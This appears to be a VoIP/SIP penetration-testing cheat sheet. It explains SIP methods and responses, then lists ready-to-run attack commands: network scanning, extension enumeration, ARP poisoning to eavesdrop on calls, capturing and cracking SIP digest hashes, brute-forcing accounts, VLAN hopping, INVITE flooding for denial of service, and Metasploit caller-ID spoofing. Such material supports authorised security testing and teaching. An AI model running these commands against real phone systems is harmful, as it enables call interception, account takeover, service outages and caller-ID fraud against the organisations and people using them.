VOIP

VOIP (SIP) Cheatsheet

SIP usually uses ports 5060 TCP or UDP for unencrypted signaling or 5061 for encrypted transportation using TLS.

SIP is an ASCII based protocol which has some similar elements like in the HTTP protocol by using a Request/Response mo

sip:205@192.168.1.100, sip:username@pbx.com , sip:205@192.168.1.100:5060

[+] SIP Requests / Methods

Request■■Description
INVITE■■Used to invite and account to participate in a call session.
ACK■■■Acknowledge an INVITE request.
CANCEL■■Cancel a pending request.
REGISTER■Register user with a SIP server.
OPTIONS■■Lists information about the capabilities of a caller.
BYE■■■Terminates a session between two users in a call.
REFER■■Indicates that the recipient(identified by the Request URI) should contact a third party using the contact info
SUBSCRIBE■The SUBSCRIBE method is used to request current state and state updates from a remote node.
NOTIFY■■The NOTIFY method is used to notify a SIP node that an event which has been requested by an earlier SUBSCRIBE r

[+] An Example SIP “INVITE” Request:

INVITE sip:201@192.168.1.104 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqar
Max-Forwards: 70

To:
From: "NightRanger" ;tag=eihgg
Call-ID: hfxsabthoymshub@backtrack
CSeq: 649 INVITE
Contact:
Content-Type: application/sdp

Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,PRACK,REFER,NOTIFY,SUBSCRIBE,INFO,MESSAGE
Supported: replaces,norefersub,100rel
User-Agent: Twinkle/1.2

Content-Length: 310

[+] SIP Responses

Response■Description
1xx■■■Informational responses, Request received and being
2xx■■■Successful responses The action was successfully received, understood, and accepted.
3xx■■■Redirection responses
4xx■■■Request failure responses The request contains bad syntax or cannot be fulfilled at the server.
5xx■■■Server failure responses The server failed to fulfill an apparently valid request.
6xx■■■Global failure responses The request cannot be fulfilled at any■server.

[+] SIP Call Between 2 Phones Example

The calling phone sends an invite.
The called phone sends back a response of 100 (Trying).
The called phone then starts to ring and sends a response of 180 (Ringing).
When the caller picks up the phone the called phone sends a response of 200 (OK).
The calling phone sends an ACK response.
Conversation begins via RTP.
When the caller hangs up the phone a BYE request is sent.
The calling phone responds with 200 (OK).

Information Gathering

[+] SMAP - Simple scanner for SIP enabled devices.

```
./smap 192.168.1.104
./smap 192.168.1.130/24
./smap -O 192.168.1.104
./smap -l 192.168.1.104
./smap -d 192.168.1.104
```

[+] SIPSAK - Testing SIP enabled applications and devices using the OPTION request method only.

```
sipsak -vv -s sip:192.168.1.221
```

[+] SIPScan - Simple scanner for sip enabled hosts.

```
./sip-scan -i eth0 192.168.1.1-254
```

[+] SVMAP (SIPVicious)

```
./svmap.py 192.168.1.1-254
./svmap.py 192.168.1.1-254 --fp
```

Extensions Enumeration

[+] Svwar - Enumerate extensions by using a range of extensions or using a dictionary file.

```
./svwar.py -e100-400 192.168.1.104
./svwar.py -e100-400 192.168.1.104 -m INVITE -v
```

[+] Enumiax - Enumerate Asterisk Exchange protocol usernames.

```
./enumiax -v -m3 -M3 192.168.1.104
./enumiax -d dict -v 192.168.1.104
```

Monitoring Traffic and Eavesdropping Phone calls

Capturing SIP authentication (we will later discuss this topic in the attacking authentication section).
Eavesdropping users phone calls.

[+] Arp Poisoning using Arpspoof

```
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof –t victim gateway
arpspoof –t gateway victim
```

Capturing traffic and Eavesdropping using Wireshark

Capture Filter: not broadcast and not multicast and host <IP ADDRESS>

Wireshark: Decode captured VoIP calls data into playable audio format. This feature is under the Statistics -> VoIP Cal

[+] Capturing SIP Authentication using SIPDump
SIPDump is a part of the SIPCrack tools suite, it allows performing a live capture of SIP authentication digest respons

```
./sipdump -i eth0
./sipdump -i eth0 auth.txt
./sipdump -p /root/registration.pcap auth.txt
```

[+] Cracking SIP Digest response hashes

```
./sipcrack -w sipass.txt auth.txt
```

[+] Brute forcing SIP Accounts

```
./svcrack.py -u200 -d wordlist.txt 192.168.1.104
./svcrack.py -u200 -r100000-999999 192.168.1.104
```

VLAN Hopping

```
modprobe 8021q
```

[+] VoIP Hopper

```
./voiphopper -i eth0 -c 0
./voiphopper -i eth0 -v 20
```

Denial Of Service

[+] Inviteflood - This tool can be used to flood a target with INVITE requests it can be used to target sip gateways/pr

```
./inviteflood eth0 <target_extension> <target_domain> <target_ip number_of_packets>
```

Attacking VoIP Using Metasploit

[+] Scanning SIP Enabled Devices

```
use auxiliary/scanner/sip/options
```

[+] Enumerating SIP extensions / Usernames

```
use scanner/sip/enumerator
set RHOSTS 192.168.1.104
set MINEXT 100
set MAXEXT 500
set PADLEN 3
```

[+] Spoofing Caller ID auxiliary

```
use voip/sip_invite_spoof
```